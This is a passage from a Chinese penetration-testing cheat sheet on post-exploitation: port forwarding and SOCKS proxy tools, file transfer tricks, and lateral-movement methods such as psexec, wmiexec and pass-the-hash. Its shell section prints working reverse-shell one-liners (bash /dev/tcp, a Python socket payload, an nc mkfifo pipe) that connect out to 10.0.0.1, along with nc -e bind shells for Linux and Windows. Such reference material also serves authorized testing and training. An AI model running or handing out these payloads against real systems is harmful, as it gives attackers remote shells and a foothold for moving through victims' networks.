5.5. 其他¶
5.5.1. 端口转发¶
windows
lcxnetsh
linux
portmapiptables
socket代理
Win: xsocksLinux: proxychains
基于http的转发与socket代理(低权限下的渗透)
端口转发: tunnasocks代理: reGeorg
ssh通道
端口转发socks
5.5.2. 获取shell¶
常规shell反弹
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
突破防火墙的imcp_shell反弹正向shell
nc -e /bin/sh -lp 1234
nc.exe -e cmd.exe -lp 1234
5.5.3. 内网文件传输¶
windows下文件传输
powershellvbs脚本文件bitsadmin文件共享使用telnet接收数据hta
linux下文件传输
pythonwgettar + ssh利用dns传输数据
文件编译
powershell将exe转为txt,再txt转为exe
5.5.4. 远程连接 && 执行程序¶
at&schtaskspsexecwmicwmiexec.vbssmbexecpowershell remotingSC创建服务执行schtasksSMB+MOF || DLL HijacksPTH + compmgmt.msc